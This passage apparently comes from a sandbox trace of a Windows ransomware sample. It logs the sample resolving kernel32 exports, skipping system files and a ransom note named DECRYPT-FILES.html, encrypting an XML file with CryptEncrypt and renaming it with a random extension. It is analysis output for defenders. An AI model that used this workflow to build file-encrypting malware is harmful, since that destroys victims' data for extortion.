returned="CreateSymbolicLinkTransactedA" [0142.118] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0142.118] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0142.118] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0142.118] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0142.119] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0142.119] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0142.119] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0142.119] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0142.119] lstrlenA (lpString="CREATETHREAD") returned 12 [0142.119] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0142.119] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0142.119] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0142.119] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0142.119] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0142.119] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0142.119] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0142.119] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0142.119] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0142.119] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0142.119] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0142.119] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0142.119] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0142.119] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0142.119] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0142.120] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.L8Xi1") returned 52 [0142.120] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), lpNewFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.L8Xi1" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml.l8xi1"), dwFlags=0x0) returned 1 [0142.121] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.121] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.121] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.121] FindNextFileW (in: hFindFile=0x3b81380, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0142.122] lstrcmpiW (lpString1="UiInfo.xml", lpString2="DECRYPT-FILES.html") returned 1 [0142.122] lstrcmpiW (lpString1="UiInfo.xml", lpString2="autorun.inf") returned 1 [0142.122] lstrcmpiW (lpString1="UiInfo.xml", lpString2="boot.ini") returned 1 [0142.122] lstrcmpiW (lpString1="UiInfo.xml", lpString2="desktop.ini") returned 1 [0142.122] lstrcmpiW (lpString1="UiInfo.xml", lpString2="ntuser.dat") returned 1 [0142.122] lstrcmpiW (lpString1="UiInfo.xml", lpString2="iconcache.db") returned 1 [0142.122] lstrcmpiW (lpString1="UiInfo.xml", lpString2="bootsect.bak") returned 1 [0142.122] lstrcmpiW (lpString1="UiInfo.xml", lpString2="ntuser.dat.log") returned 1 [0142.122] lstrcmpiW (lpString1="UiInfo.xml", lpString2="thumbs.db") returned 1 [0142.122] lstrcmpiW (lpString1="UiInfo.xml", lpString2="Bootfont.bin") returned 1 [0142.122] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\") returned 29 [0142.122] lstrlenW (lpString="UiInfo.xml") returned 10 [0142.122] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\Client\\" | out: lpString1="C:\\588bce7c90097ed212\\Client\\") returned="C:\\588bce7c90097ed212\\Client\\" [0142.122] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Client\\", lpString2="UiInfo.xml" | out: lpString1="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" [0142.122] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0142.122] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0142.162] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=39042) returned 1 [0142.162] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0142.162] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0142.733] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0142.733] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0142.733] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0142.734] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d30000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d30000*, pdwDataLen=0x38be718*=0x100) returned 1 [0142.734] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0142.852] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.852] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0142.852] CloseHandle (hObject=0x5f8) returned 1 [0142.853] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.853] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d30000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d30000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0142.853] CloseHandle (hObject=0x0) returned 0 [0142.853] CloseHandle (hObject=0x5f4) returned 1 [0142.854] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.855] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.855] GetTickCount () returned 0x3902b [0142.855] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0142.855] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0142.855] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0142.855] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0142.856] lstrlenA (lpString="kernel32.dll") returned 12 [0142.856] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0142.856] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0142.856] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0142.856] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0142.856] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0142.856] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0142.856] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0142.856] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0142.856] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0142.856] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0142.856] lstrlenA (lpString="ADDATOMA") returned 8 [0142.856] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0142.856] lstrlenA (lpString="ADDATOMW") returned 8 [0142.856] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0142.856] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0142.856] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0142.856] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0142.856] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0142.856] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0142.856] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0142.856] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0142.856] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0142.856] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0142.856] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0142.856] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0142.856] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0142.857] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0142.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0142.857] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0142.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0142.857] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0142.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0142.857] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0142.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0142.857] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0142.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0142.857] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0142.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0142.857] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0142.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0142.857] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0142.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0142.857] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0142.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0142.857] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0142.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0142.857] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0142.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0142.857] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0142.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0142.857] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0142.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0142.857] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0142.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0142.857] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0142.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0142.857] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0142.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0142.857] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0142.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0142.857] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0142.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0142.857] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0142.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0142.857] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0142.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0142.857] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0142.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0142.858] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0142.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0142.858] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0142.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0142.858] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0142.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0142.858] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0142.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0142.858] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0142.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0142.858] lstrlenA (lpString="BACKUPREAD") returned 10 [0142.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0142.858] lstrlenA (lpString="BACKUPSEEK") returned 10 [0142.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0142.858] lstrlenA (lpString="BACKUPWRITE") returned 11 [0142.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0142.858] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0142.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0142.858] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0142.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0142.858] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0142.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0142.858] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0142.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0142.858] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0142.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0142.858] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0142.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0142.858] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0142.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0142.858] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0142.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0142.858] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0142.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0142.858] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0142.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0142.858] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0142.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0142.858] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0142.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0142.858] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0142.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0142.859] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0142.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0142.859] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0142.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0142.859] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0142.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0142.859] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0142.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0142.859] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0142.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0142.859] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0142.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0142.859] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0142.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0142.859] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0142.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0142.859] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0142.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0142.859] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0142.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0142.859] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0142.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0142.859] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0142.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0142.859] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0142.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0142.859] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0142.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0142.859] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0142.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0142.859] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0142.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0142.859] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0142.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0142.859] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0142.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0142.859] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0142.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0142.859] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0142.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0142.860] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0142.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0142.860] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0142.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0142.860] lstrlenA 